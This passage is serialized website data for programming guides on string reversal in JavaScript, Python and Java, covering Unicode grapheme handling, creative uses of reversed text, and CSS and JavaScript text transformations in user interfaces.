translation",[44,204657,78047,204658,204660],{},[98,204659,18588],{"href":18587}," for design work",[44,204662,78047,204663,204665],{},[98,204664,6789],{"href":6788}," for placeholder text",[16,204667,204668],{},"These cover the majority of day-to-day text operations. Add specialized tools as your workflow demands them.",[11,204670,1355],{"id":1354},[41,204672,204673,204676,204679,204682,204685],{},[44,204674,204675],{},"Online text tools save minutes on tasks you do dozens of times per day.",[44,204677,204678],{},"Formatters, sorters, converters, and encoders cover the four main categories.",[44,204680,204681],{},"Always check that a tool handles your character encoding correctly — especially Unicode.",[44,204683,204684],{},"Prefer tools that process data client-side for anything sensitive.",[44,204686,204687],{},"A small set of bookmarked tools covers most daily needs; add specialized ones as needed.",[11,204689,286],{"id":285},[16,204691,204692,204693,204695],{},"Explore our full suite of free text tools. Start with the ",[98,204694,155315],{"href":155314}," for quick string reversal, or browse the complete collection for your next task.",[11,204697,321],{"id":320},[41,204699,204700,204704,204710,204715],{},[44,204701,204702,155327],{},[98,204703,155326],{"href":155325},[44,204705,204706,204709],{},[98,204707,204708],{"href":155367},"Mirror Text Guide"," — Creating symmetrical and backwards text effects",[44,204711,204712,204714],{},[98,204713,23827],{"href":23826}," — Choosing the right case format for your code",[44,204716,204717,204719],{},[98,204718,24471],{"href":24470}," — Metrics that matter for writers",{"title":141,"searchDepth":337,"depth":337,"links":204721},[204722,204723,204729,204735,204736,204737,204738,204739],{"id":204332,"depth":337,"text":204333},{"id":204342,"depth":337,"text":204343,"children":204724},[204725,204726,204727,204728],{"id":204349,"depth":343,"text":204350},{"id":204405,"depth":343,"text":204406},{"id":204441,"depth":343,"text":204442},{"id":204523,"depth":343,"text":204524},{"id":204565,"depth":337,"text":204566,"children":204730},[204731,204732,204733,204734],{"id":204569,"depth":343,"text":204570},{"id":204576,"depth":343,"text":204577},{"id":204583,"depth":343,"text":204584},{"id":204590,"depth":343,"text":204591},{"id":204597,"depth":337,"text":204598},{"id":204624,"depth":337,"text":204625},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Overview of the most useful text transformation tools for developers and content creators, from formatters to encoders and converters.",{"keywords":204742},[155365,204743],"text-manipulation-tools",{"title":204327,"description":204740},"guides\u002Ftext-manipulation-tools","CvgIImXVoEFN92_NgGk5L7D9ZrkLa7cW0w3Tp-158-U",{"id":204748,"title":204749,"body":204750,"date":2070,"description":205496,"extension":361,"meta":205497,"navigation":363,"path":155325,"readingTime":7146,"seo":205499,"stem":205500,"__hash__":205501},"guides\u002Fguides\u002Ftext-reversal-techniques.md","Text Reversal Techniques: From Programming to Creative Design",{"type":8,"value":204751,"toc":205477},[204752,204756,204759,204762,204766,204769,204802,204805,204808,204812,204815,204881,204884,204887,204953,204957,204960,204984,204990,205013,205016,205020,205026,205054,205057,205086,205093,205097,205100,205106,205146,205152,205196,205202,205206,205212,205349,205356,205385,205388,205392,205395,205399,205405,205409,205412,205416,205419,205423,205426,205428,205450,205452,205458,205460,205474],[11,204753,204755],{"id":204754},"what-is-text-reversal","What Is Text Reversal?",[16,204757,204758],{},"Text reversal means writing characters or words in the opposite order from how they normally appear. \"Hello\" reversed becomes \"olleH.\" It sounds simple, but the details get complicated fast — especially when you deal with Unicode combining characters, emoji, or multi-byte scripts.",[16,204760,204761],{},"Developers reverse strings for palindrome checks, data encoding, and algorithm puzzles. Designers use reversed and mirrored text for visual effects, symmetrical layouts, and puzzle mechanics. Understanding how reversal works at the character level helps you avoid common bugs and produce reliable results.",[11,204763,204765],{"id":204764},"character-level-vs-word-level-reversal","Character-Level vs Word-Level Reversal",[16,204767,204768],{},"These two approaches produce very different output:",[193,204770,204771,204781],{},[196,204772,204773],{},[199,204774,204775,204777,204779],{},[202,204776,34969],{},[202,204778,39500],{},[202,204780,754],{},[211,204782,204783,204793],{},[199,204784,204785,204787,204790],{},[216,204786,202688],{},[216,204788,204789],{},"\"Hello world\"",[216,204791,204792],{},"\"dlrow olleH\"",[199,204794,204795,204797,204799],{},[216,204796,202709],{},[216,204798,204789],{},[216,204800,204801],{},"\"world Hello\"",[16,204803,204804],{},"Character-level reversal flips every character's position. Word-level reversal keeps each word intact but reverses their order. Some implementations reverse both — words and characters within each word — producing \"dlrow olleH\" from \"Hello cruel world.\"",[16,204806,204807],{},"Choose the right type for your use case. Palindrome checking requires character-level reversal. Sentence restructuring for stylistic purposes usually calls for word-level reversal.",[11,204809,204811],{"id":204810},"string-reversal-in-javascript","String Reversal in JavaScript",[16,204813,204814],{},"The most common JavaScript approach uses built-in array methods:",[135,204816,204818],{"className":1607,"code":204817,"language":1609,"meta":141,"style":141},"function reverseString(str) {\n  return str.split('').reverse().join('');\n}\n\nreverseString(\"Hello\"); \u002F\u002F \"olleH\"\n",[143,204819,204820,204833,204859,204863,204867],{"__ignoreMap":141},[1560,204821,204822,204824,204827,204829,204831],{"class":1562,"line":1563},[1560,204823,8648],{"class":1669},[1560,204825,204826],{"class":1566}," reverseString",[1560,204828,1688],{"class":1570},[1560,204830,38740],{"class":2219},[1560,204832,9345],{"class":1570},[1560,204834,204835,204837,204839,204841,204843,204845,204847,204849,204851,204853,204855,204857],{"class":1562,"line":337},[1560,204836,9350],{"class":1669},[1560,204838,38842],{"class":1570},[1560,204840,9356],{"class":1566},[1560,204842,1688],{"class":1570},[1560,204844,5635],{"class":5634},[1560,204846,9368],{"class":1570},[1560,204848,78407],{"class":1566},[1560,204850,42138],{"class":1570},[1560,204852,9459],{"class":1566},[1560,204854,1688],{"class":1570},[1560,204856,5635],{"class":5634},[1560,204858,1744],{"class":1570},[1560,204860,204861],{"class":1562,"line":343},[1560,204862,1585],{"class":1570},[1560,204864,204865],{"class":1562,"line":365},[1560,204866,1702],{"emptyLinePlaceholder":363},[1560,204868,204869,204872,204874,204876,204878],{"class":1562,"line":889},[1560,204870,204871],{"class":1566},"reverseString",[1560,204873,1688],{"class":1570},[1560,204875,155232],{"class":5634},[1560,204877,5171],{"class":1570},[1560,204879,204880],{"class":1649},"\u002F\u002F \"olleH\"\n",[16,204882,204883],{},"This splits the string into an array of characters, reverses the array, and joins it back. It works for basic ASCII text but breaks with surrogate pairs and combining characters — more on that below.",[16,204885,204886],{},"For word-level reversal:",[135,204888,204890],{"className":1607,"code":204889,"language":1609,"meta":141,"style":141},"function reverseWords(str) {\n  return str.split(' ').reverse().join(' ');\n}\n\nreverseWords(\"Hello world\"); \u002F\u002F \"world Hello\"\n",[143,204891,204892,204905,204931,204935,204939],{"__ignoreMap":141},[1560,204893,204894,204896,204899,204901,204903],{"class":1562,"line":1563},[1560,204895,8648],{"class":1669},[1560,204897,204898],{"class":1566}," reverseWords",[1560,204900,1688],{"class":1570},[1560,204902,38740],{"class":2219},[1560,204904,9345],{"class":1570},[1560,204906,204907,204909,204911,204913,204915,204917,204919,204921,204923,204925,204927,204929],{"class":1562,"line":337},[1560,204908,9350],{"class":1669},[1560,204910,38842],{"class":1570},[1560,204912,9356],{"class":1566},[1560,204914,1688],{"class":1570},[1560,204916,38072],{"class":5634},[1560,204918,9368],{"class":1570},[1560,204920,78407],{"class":1566},[1560,204922,42138],{"class":1570},[1560,204924,9459],{"class":1566},[1560,204926,1688],{"class":1570},[1560,204928,38072],{"class":5634},[1560,204930,1744],{"class":1570},[1560,204932,204933],{"class":1562,"line":343},[1560,204934,1585],{"class":1570},[1560,204936,204937],{"class":1562,"line":365},[1560,204938,1702],{"emptyLinePlaceholder":363},[1560,204940,204941,204944,204946,204948,204950],{"class":1562,"line":889},[1560,204942,204943],{"class":1566},"reverseWords",[1560,204945,1688],{"class":1570},[1560,204947,204789],{"class":5634},[1560,204949,5171],{"class":1570},[1560,204951,204952],{"class":1649},"\u002F\u002F \"world Hello\"\n",[11,204954,204956],{"id":204955},"string-reversal-in-python","String Reversal in Python",[16,204958,204959],{},"Python makes character-level reversal concise with slice notation:",[135,204961,204963],{"className":8259,"code":204962,"language":8261,"meta":141,"style":141},"def reverse_string(s):\n    return s[::-1]\n\nreverse_string(\"Hello\")  # \"olleH\"\n",[143,204964,204965,204970,204975,204979],{"__ignoreMap":141},[1560,204966,204967],{"class":1562,"line":1563},[1560,204968,204969],{},"def reverse_string(s):\n",[1560,204971,204972],{"class":1562,"line":337},[1560,204973,204974],{},"    return s[::-1]\n",[1560,204976,204977],{"class":1562,"line":343},[1560,204978,1702],{"emptyLinePlaceholder":363},[1560,204980,204981],{"class":1562,"line":365},[1560,204982,204983],{},"reverse_string(\"Hello\")  # \"olleH\"\n",[16,204985,421,204986,204989],{},[143,204987,204988],{},"[::-1]"," slice steps backward through the string, producing a reversed copy. For word-level reversal:",[135,204991,204993],{"className":8259,"code":204992,"language":8261,"meta":141,"style":141},"def reverse_words(s):\n    return ' '.join(s.split()[::-1])\n\nreverse_words(\"Hello world\")  # \"world Hello\"\n",[143,204994,204995,204999,205004,205008],{"__ignoreMap":141},[1560,204996,204997],{"class":1562,"line":1563},[1560,204998,195810],{},[1560,205000,205001],{"class":1562,"line":337},[1560,205002,205003],{},"    return ' '.join(s.split()[::-1])\n",[1560,205005,205006],{"class":1562,"line":343},[1560,205007,1702],{"emptyLinePlaceholder":363},[1560,205009,205010],{"class":1562,"line":365},[1560,205011,205012],{},"reverse_words(\"Hello world\")  # \"world Hello\"\n",[16,205014,205015],{},"Python 3 strings are Unicode by default, which handles basic multilingual text correctly. However, combining characters and grapheme clusters still cause issues.",[11,205017,205019],{"id":205018},"string-reversal-in-java","String Reversal in Java",[16,205021,10188,205022,205025],{},[143,205023,205024],{},"StringBuilder.reverse()"," for straightforward reversal:",[135,205027,205029],{"className":10198,"code":205028,"language":10185,"meta":141,"style":141},"public static String reverse(String input) {\n    return new StringBuilder(input).reverse().toString();\n}\n\nreverse(\"Hello\"); \u002F\u002F \"olleH\"\n",[143,205030,205031,205036,205041,205045,205049],{"__ignoreMap":141},[1560,205032,205033],{"class":1562,"line":1563},[1560,205034,205035],{},"public static String reverse(String input) {\n",[1560,205037,205038],{"class":1562,"line":337},[1560,205039,205040],{},"    return new StringBuilder(input).reverse().toString();\n",[1560,205042,205043],{"class":1562,"line":343},[1560,205044,1585],{},[1560,205046,205047],{"class":1562,"line":365},[1560,205048,1702],{"emptyLinePlaceholder":363},[1560,205050,205051],{"class":1562,"line":889},[1560,205052,205053],{},"reverse(\"Hello\"); \u002F\u002F \"olleH\"\n",[16,205055,205056],{},"Word-level reversal requires manual splitting:",[135,205058,205060],{"className":10198,"code":205059,"language":10185,"meta":141,"style":141},"public static String reverseWords(String input) {\n    String[] words = input.split(\" \");\n    Collections.reverse(Arrays.asList(words));\n    return String.join(\" \", words);\n}\n",[143,205061,205062,205067,205072,205077,205082],{"__ignoreMap":141},[1560,205063,205064],{"class":1562,"line":1563},[1560,205065,205066],{},"public static String reverseWords(String input) {\n",[1560,205068,205069],{"class":1562,"line":337},[1560,205070,205071],{},"    String[] words = input.split(\" \");\n",[1560,205073,205074],{"class":1562,"line":343},[1560,205075,205076],{},"    Collections.reverse(Arrays.asList(words));\n",[1560,205078,205079],{"class":1562,"line":365},[1560,205080,205081],{},"    return String.join(\" \", words);\n",[1560,205083,205084],{"class":1562,"line":889},[1560,205085,1585],{},[16,205087,205088,205089,205092],{},"Java's ",[143,205090,205091],{},"charAt()"," operates on UTF-16 code units, which means surrogate pairs (emoji, rare CJK characters) will break when reversed using the method above unless you handle code points explicitly.",[11,205094,205096],{"id":205095},"the-unicode-problem","The Unicode Problem",[16,205098,205099],{},"Simple character splitting fails with Unicode for three main reasons:",[16,205101,205102,205105],{},[47,205103,205104],{},"Surrogate pairs."," Emoji and characters outside the Basic Multilingual Plane are encoded as two UTF-16 code units. Splitting on each unit separates the pair, producing garbage when reversed.",[135,205107,205109],{"className":1607,"code":205108,"language":1609,"meta":141,"style":141},"\u002F\u002F Broken with emoji\n\"Hello 🌍\".split('').reverse().join(''); \u002F\u002F \"☹ olleH\" (broken)\n",[143,205110,205111,205116],{"__ignoreMap":141},[1560,205112,205113],{"class":1562,"line":1563},[1560,205114,205115],{"class":1649},"\u002F\u002F Broken with emoji\n",[1560,205117,205118,205121,205123,205125,205127,205129,205131,205133,205135,205137,205139,205141,205143],{"class":1562,"line":337},[1560,205119,205120],{"class":5634},"\"Hello 🌍\"",[1560,205122,468],{"class":1570},[1560,205124,9356],{"class":1566},[1560,205126,1688],{"class":1570},[1560,205128,5635],{"class":5634},[1560,205130,9368],{"class":1570},[1560,205132,78407],{"class":1566},[1560,205134,42138],{"class":1570},[1560,205136,9459],{"class":1566},[1560,205138,1688],{"class":1570},[1560,205140,5635],{"class":5634},[1560,205142,5171],{"class":1570},[1560,205144,205145],{"class":1649},"\u002F\u002F \"☹ olleH\" (broken)\n",[16,205147,205148,205151],{},[47,205149,205150],{},"Combining characters."," Accents and diacritical marks combine with base characters. Reversing naively puts the combining mark before the wrong base character.",[135,205153,205155],{"className":1607,"code":205154,"language":1609,"meta":141,"style":141},"\u002F\u002F e + combining acute accent\n\"e\\u0301\".split('').reverse().join(''); \u002F\u002F acute + e (broken)\n",[143,205156,205157,205162],{"__ignoreMap":141},[1560,205158,205159],{"class":1562,"line":1563},[1560,205160,205161],{"class":1649},"\u002F\u002F e + combining acute accent\n",[1560,205163,205164,205167,205169,205171,205173,205175,205177,205179,205181,205183,205185,205187,205189,205191,205193],{"class":1562,"line":337},[1560,205165,205166],{"class":5634},"\"e",[1560,205168,162546],{"class":1576},[1560,205170,8721],{"class":5634},[1560,205172,468],{"class":1570},[1560,205174,9356],{"class":1566},[1560,205176,1688],{"class":1570},[1560,205178,5635],{"class":5634},[1560,205180,9368],{"class":1570},[1560,205182,78407],{"class":1566},[1560,205184,42138],{"class":1570},[1560,205186,9459],{"class":1566},[1560,205188,1688],{"class":1570},[1560,205190,5635],{"class":5634},[1560,205192,5171],{"class":1570},[1560,205194,205195],{"class":1649},"\u002F\u002F acute + e (broken)\n",[16,205197,205198,205201],{},[47,205199,205200],{},"Grapheme clusters."," A single visible character might consist of multiple code points (base + modifiers). Correct reversal must treat each cluster as a single unit.",[33,205203,205205],{"id":205204},"how-to-handle-unicode-correctly","How to Handle Unicode Correctly",[16,205207,205208,205209,205211],{},"In JavaScript, use the ",[143,205210,135473],{}," API (available in modern browsers and Node.js 16+):",[135,205213,205215],{"className":1607,"code":205214,"language":1609,"meta":141,"style":141},"function reverseSafe(str) {\n  const segmenter = new Intl.Segmenter('en', { granularity: 'grapheme' });\n  const segments = [...segmenter.segment(str)].map(s => s.segment);\n  return segments.reverse().join('');\n}\n\nreverseSafe(\"Hello 🌍\");  \u002F\u002F \"🌍 olleH\" (correct)\nreverseSafe(\"e\\u0301\");    \u002F\u002F \"e\\u0301\" (correct)\n",[143,205216,205217,205230,205259,205291,205310,205314,205318,205332],{"__ignoreMap":141},[1560,205218,205219,205221,205224,205226,205228],{"class":1562,"line":1563},[1560,205220,8648],{"class":1669},[1560,205222,205223],{"class":1566}," reverseSafe",[1560,205225,1688],{"class":1570},[1560,205227,38740],{"class":2219},[1560,205229,9345],{"class":1570},[1560,205231,205232,205234,205237,205239,205241,205243,205246,205248,205251,205254,205257],{"class":1562,"line":337},[1560,205233,28057],{"class":1669},[1560,205235,205236],{"class":1576}," segmenter",[1560,205238,8186],{"class":1669},[1560,205240,11489],{"class":1669},[1560,205242,89286],{"class":1570},[1560,205244,205245],{"class":1566},"Segmenter",[1560,205247,1688],{"class":1570},[1560,205249,205250],{"class":5634},"'en'",[1560,205252,205253],{"class":1570},", { granularity: ",[1560,205255,205256],{"class":5634},"'grapheme'",[1560,205258,11630],{"class":1570},[1560,205260,205261,205263,205265,205267,205269,205271,205274,205277,205280,205282,205284,205286,205288],{"class":1562,"line":343},[1560,205262,28057],{"class":1669},[1560,205264,101421],{"class":1576},[1560,205266,8186],{"class":1669},[1560,205268,39830],{"class":1570},[1560,205270,24388],{"class":1669},[1560,205272,205273],{"class":1570},"segmenter.",[1560,205275,205276],{"class":1566},"segment",[1560,205278,205279],{"class":1570},"(str)].",[1560,205281,9371],{"class":1566},[1560,205283,1688],{"class":1570},[1560,205285,18727],{"class":2219},[1560,205287,9378],{"class":1669},[1560,205289,205290],{"class":1570}," s.segment);\n",[1560,205292,205293,205295,205298,205300,205302,205304,205306,205308],{"class":1562,"line":365},[1560,205294,9350],{"class":1669},[1560,205296,205297],{"class":1570}," segments.",[1560,205299,78407],{"class":1566},[1560,205301,42138],{"class":1570},[1560,205303,9459],{"class":1566},[1560,205305,1688],{"class":1570},[1560,205307,5635],{"class":5634},[1560,205309,1744],{"class":1570},[1560,205311,205312],{"class":1562,"line":889},[1560,205313,1585],{"class":1570},[1560,205315,205316],{"class":1562,"line":1710},[1560,205317,1702],{"emptyLinePlaceholder":363},[1560,205319,205320,205323,205325,205327,205329],{"class":1562,"line":1717},[1560,205321,205322],{"class":1566},"reverseSafe",[1560,205324,1688],{"class":1570},[1560,205326,205120],{"class":5634},[1560,205328,14724],{"class":1570},[1560,205330,205331],{"class":1649},"\u002F\u002F \"🌍 olleH\" (correct)\n",[1560,205333,205334,205336,205338,205340,205342,205344,205346],{"class":1562,"line":1747},[1560,205335,205322],{"class":1566},[1560,205337,1688],{"class":1570},[1560,205339,205166],{"class":5634},[1560,205341,162546],{"class":1576},[1560,205343,8721],{"class":5634},[1560,205345,50825],{"class":1570},[1560,205347,205348],{"class":1649},"\u002F\u002F \"e\\u0301\" (correct)\n",[16,205350,205351,205352,205355],{},"In Python, the ",[143,205353,205354],{},"grapheme"," package solves the same problem:",[135,205357,205359],{"className":8259,"code":205358,"language":8261,"meta":141,"style":141},"import grapheme\n\ndef reverse_safe(s):\n    chars = list(grapheme.graphemes(s))\n    return ''.join(reversed(chars))\n",[143,205360,205361,205366,205370,205375,205380],{"__ignoreMap":141},[1560,205362,205363],{"class":1562,"line":1563},[1560,205364,205365],{},"import grapheme\n",[1560,205367,205368],{"class":1562,"line":337},[1560,205369,1702],{"emptyLinePlaceholder":363},[1560,205371,205372],{"class":1562,"line":343},[1560,205373,205374],{},"def reverse_safe(s):\n",[1560,205376,205377],{"class":1562,"line":365},[1560,205378,205379],{},"    chars = list(grapheme.graphemes(s))\n",[1560,205381,205382],{"class":1562,"line":889},[1560,205383,205384],{},"    return ''.join(reversed(chars))\n",[16,205386,205387],{},"If you are building a production text tool, always segment by grapheme clusters before reversing.",[11,205389,205391],{"id":205390},"creative-applications-of-text-reversal","Creative Applications of Text Reversal",[16,205393,205394],{},"Text reversal is not just a programming exercise designers and creators use it in practical ways.",[33,205396,205398],{"id":205397},"mirror-text-effects","Mirror Text Effects",[16,205400,205401,205402,205404],{},"Reversed text paired with a CSS ",[143,205403,155299],{}," transform creates a mirror reflection — useful for logos, watermarks, and symmetrical compositions. Some ambigram designs rely on text that reads differently when reversed.",[33,205406,205408],{"id":205407},"puzzle-and-game-design","Puzzle and Game Design",[16,205410,205411],{},"Escape rooms, ARGs, and puzzle games hide clues in reversed text. Players must figure out that the text reads backwards, adding a layer of difficulty without requiring encryption. Word puzzle apps like to use reversed phrases as daily challenges.",[33,205413,205415],{"id":205414},"encoded-messaging","Encoded Messaging",[16,205417,205418],{},"Reversed text serves as a lightweight obfuscation method. It is not encryption — anyone can reverse it back — but it prevents casual readers from scanning a message. Developer communities sometimes use reversed text in documentation Easter eggs or README.md footers.",[33,205420,205422],{"id":205421},"social-media-and-branding","Social Media and Branding",[16,205424,205425],{},"Reversed or upside-down Unicode characters grab attention in social media bios and posts. Brands use them for visual distinction, though overuse hurts readability. A reversed tagline in a Instagram bio stands out precisely because it breaks the expected reading flow.",[11,205427,1355],{"id":1354},[41,205429,205430,205433,205439,205444,205447],{},[44,205431,205432],{},"Character-level reversal flips every character; word-level reversal flips word order — know which one you need.",[44,205434,88506,205435,205438],{},[143,205436,205437],{},"split('').reverse().join('')"," works for ASCII but breaks with emoji and combining characters.",[44,205440,87722,205441,205443],{},[143,205442,204988],{}," slice is clean but has the same Unicode limitations.",[44,205445,205446],{},"Always segment by grapheme clusters before reversing production text.",[44,205448,205449],{},"Text reversal has real creative uses in design, puzzles, and lightweight encoding.",[11,205451,286],{"id":285},[16,205453,205454,205455,205457],{},"Want to reverse text without writing code? Our free ",[98,205456,155315],{"href":155314}," handles character-level and word-level reversal instantly, with proper Unicode support built in.",[11,205459,321],{"id":320},[41,205461,205462,205466,205470],{},[44,205463,205464,204709],{},[98,205465,204708],{"href":155367},[44,205467,205468,155334],{},[98,205469,155333],{"href":155332},[44,205471,205472,204719],{},[98,205473,24471],{"href":24470},[2043,205475,205476],{},"html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":141,"searchDepth":337,"depth":337,"links":205478},[205479,205480,205481,205482,205483,205484,205487,205493,205494,205495],{"id":204754,"depth":337,"text":204755},{"id":204764,"depth":337,"text":204765},{"id":204810,"depth":337,"text":204811},{"id":204955,"depth":337,"text":204956},{"id":205018,"depth":337,"text":205019},{"id":205095,"depth":337,"text":205096,"children":205485},[205486],{"id":205204,"depth":343,"text":205205},{"id":205390,"depth":337,"text":205391,"children":205488},[205489,205490,205491,205492],{"id":205397,"depth":343,"text":205398},{"id":205407,"depth":343,"text":205408},{"id":205414,"depth":343,"text":205415},{"id":205421,"depth":343,"text":205422},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Learn string reversal methods in JavaScript, Python, and Java. Understand character-level vs word-level reversal and Unicode handling.",{"keywords":205498},[155365,204743],{"title":204749,"description":205496},"guides\u002Ftext-reversal-techniques","Mi4As_O64TeEYi0Mtn6NaUYJwnO-vTgmNAZXleTpnqs",{"id":205503,"title":205504,"body":205505,"date":2070,"description":206345,"extension":361,"meta":206346,"navigation":363,"path":206347,"readingTime":1710,"seo":206348,"stem":206349,"__hash__":206350},"guides\u002Fguides\u002Ftext-transformations-user-interfaces.md","Text Transformations in User Interfaces: Patterns and Best Practices",{"type":8,"value":205506,"toc":206334},[205507,205510,205514,205583,205586,205590,205593,205758,205761,205765,205768,205794,205990,205994,205997,206023,206026,206085,206088,206092,206095,206188,206191,206211,206213,206216,206236,206282,206285,206287,206306,206308,206323,206325,206331],[16,205508,205509],{},"Text transformations appear everywhere in user interfaces — reversed strings for visual effects, truncated labels for responsive layouts, formatted phone numbers for input fields, and case conversion for data normalization. Each transformation has practical use cases and implementation pitfalls worth understanding.",[11,205511,205513],{"id":205512},"common-ui-text-transformations","Common UI Text Transformations",[193,205515,205516,205527],{},[196,205517,205518],{},[199,205519,205520,205523,205525],{},[202,205521,205522],{},"Transformation",[202,205524,1775],{},[202,205526,133],{},[211,205528,205529,205540,205551,205561,205572],{},[199,205530,205531,205534,205537],{},[216,205532,205533],{},"Reversal",[216,205535,205536],{},"Visual effects, palindrome games",[216,205538,205539],{},"\"hello\" → \"olleh\"",[199,205541,205542,205545,205548],{},[216,205543,205544],{},"Truncation",[216,205546,205547],{},"Responsive labels, cards",[216,205549,205550],{},"\"Very long title...\"",[199,205552,205553,205555,205558],{},[216,205554,40834],{},[216,205556,205557],{},"Data normalization, headings",[216,205559,205560],{},"\"john doe\" → \"John Doe\"",[199,205562,205563,205566,205569],{},[216,205564,205565],{},"Masking",[216,205567,205568],{},"Passwords, credit cards",[216,205570,205571],{},"\"4111 **** **** 1111\"",[199,205573,205574,205577,205580],{},[216,205575,205576],{},"Formatting",[216,205578,205579],{},"Phone numbers, dates",[216,205581,205582],{},"\"5551234567\" → \"(555) 123-4567\"",[16,205584,205585],{},"Each serves a distinct purpose. Applying the wrong transformation — or applying it at the wrong layer — creates bugs and confusion.",[11,205587,205589],{"id":205588},"css-text-transformations","CSS Text Transformations",[16,205591,205592],{},"Some transformations belong purely in CSS. Use CSS when the visual change is presentational and the underlying data should remain intact:",[135,205594,205596],{"className":1554,"code":205595,"language":1556,"meta":141,"style":141},"\u002F* Uppercase headings — data stays lowercase *\u002F\n.heading { text-transform: uppercase; }\n\n\u002F* Capitalize names — only affects first letters *\u002F\n.name { text-transform: capitalize; }\n\n\u002F* Truncation with ellipsis *\u002F\n.truncate {\n  overflow: hidden;\n  text-transform: ellipsis;\n  white-space: nowrap;\n}\n\n\u002F* Multi-line clamping *\u002F\n.line-clamp-3 {\n  display: -webkit-box;\n  -webkit-line-clamp: 3;\n  -webkit-box-orient: vertical;\n  overflow: hidden;\n}\n",[143,205597,205598,205603,205619,205623,205628,205644,205648,205653,205660,205670,205681,205691,205695,205699,205704,205711,205722,205733,205744,205754],{"__ignoreMap":141},[1560,205599,205600],{"class":1562,"line":1563},[1560,205601,205602],{"class":1649},"\u002F* Uppercase headings — data stays lowercase *\u002F\n",[1560,205604,205605,205607,205609,205612,205614,205617],{"class":1562,"line":337},[1560,205606,54412],{"class":1566},[1560,205608,1658],{"class":1570},[1560,205610,205611],{"class":1576},"text-transform",[1560,205613,1663],{"class":1570},[1560,205615,205616],{"class":1576},"uppercase",[1560,205618,1673],{"class":1570},[1560,205620,205621],{"class":1562,"line":343},[1560,205622,1702],{"emptyLinePlaceholder":363},[1560,205624,205625],{"class":1562,"line":365},[1560,205626,205627],{"class":1649},"\u002F* Capitalize names — only affects first letters *\u002F\n",[1560,205629,205630,205633,205635,205637,205639,205642],{"class":1562,"line":889},[1560,205631,205632],{"class":1566},".name",[1560,205634,1658],{"class":1570},[1560,205636,205611],{"class":1576},[1560,205638,1663],{"class":1570},[1560,205640,205641],{"class":1576},"capitalize",[1560,205643,1673],{"class":1570},[1560,205645,205646],{"class":1562,"line":1710},[1560,205647,1702],{"emptyLinePlaceholder":363},[1560,205649,205650],{"class":1562,"line":1717},[1560,205651,205652],{"class":1649},"\u002F* Truncation with ellipsis *\u002F\n",[1560,205654,205655,205658],{"class":1562,"line":1747},[1560,205656,205657],{"class":1566},".truncate",[1560,205659,1571],{"class":1570},[1560,205661,205662,205664,205666,205668],{"class":1562,"line":2507},[1560,205663,74722],{"class":1576},[1560,205665,1663],{"class":1570},[1560,205667,44183],{"class":1576},[1560,205669,2228],{"class":1570},[1560,205671,205672,205675,205677,205679],{"class":1562,"line":2524},[1560,205673,205674],{"class":1576},"  text-transform",[1560,205676,1663],{"class":1570},[1560,205678,107487],{"class":1576},[1560,205680,2228],{"class":1570},[1560,205682,205683,205685,205687,205689],{"class":1562,"line":2529},[1560,205684,33428],{"class":1576},[1560,205686,1663],{"class":1570},[1560,205688,33433],{"class":1576},[1560,205690,2228],{"class":1570},[1560,205692,205693],{"class":1562,"line":2534},[1560,205694,1585],{"class":1570},[1560,205696,205697],{"class":1562,"line":2542},[1560,205698,1702],{"emptyLinePlaceholder":363},[1560,205700,205701],{"class":1562,"line":2558},[1560,205702,205703],{"class":1649},"\u002F* Multi-line clamping *\u002F\n",[1560,205705,205706,205709],{"class":1562,"line":2570},[1560,205707,205708],{"class":1566},".line-clamp-3",[1560,205710,1571],{"class":1570},[1560,205712,205713,205715,205717,205720],{"class":1562,"line":6638},[1560,205714,12504],{"class":1576},[1560,205716,1663],{"class":1570},[1560,205718,205719],{"class":1576},"-webkit-box",[1560,205721,2228],{"class":1570},[1560,205723,205724,205727,205729,205731],{"class":1562,"line":11615},[1560,205725,205726],{"class":1576},"  -webkit-line-clamp",[1560,205728,1663],{"class":1570},[1560,205730,17821],{"class":1576},[1560,205732,2228],{"class":1570},[1560,205734,205735,205738,205740,205742],{"class":1562,"line":11621},[1560,205736,205737],{"class":1576},"  -webkit-box-orient",[1560,205739,1663],{"class":1570},[1560,205741,35541],{"class":1576},[1560,205743,2228],{"class":1570},[1560,205745,205746,205748,205750,205752],{"class":1562,"line":11633},[1560,205747,74722],{"class":1576},[1560,205749,1663],{"class":1570},[1560,205751,44183],{"class":1576},[1560,205753,2228],{"class":1570},[1560,205755,205756],{"class":1562,"line":11638},[1560,205757,1585],{"class":1570},[16,205759,205760],{},"CSS transformations preserve the original text for copy-paste, screen readers, and search indexing. A screen reader announces \"hello\" even if CSS renders it as \"HELLO\". This separation is important for accessibility.",[11,205762,205764],{"id":205763},"javascript-text-transformations","JavaScript Text Transformations",[16,205766,205767],{},"Use JavaScript when the transformation affects data semantics, not just presentation:",[41,205769,205770,205776,205782,205788],{},[44,205771,205772,205775],{},[47,205773,205774],{},"Reversing text"," — CSS cannot reverse character order",[44,205777,205778,205781],{},[47,205779,205780],{},"Masking sensitive data"," — the masked 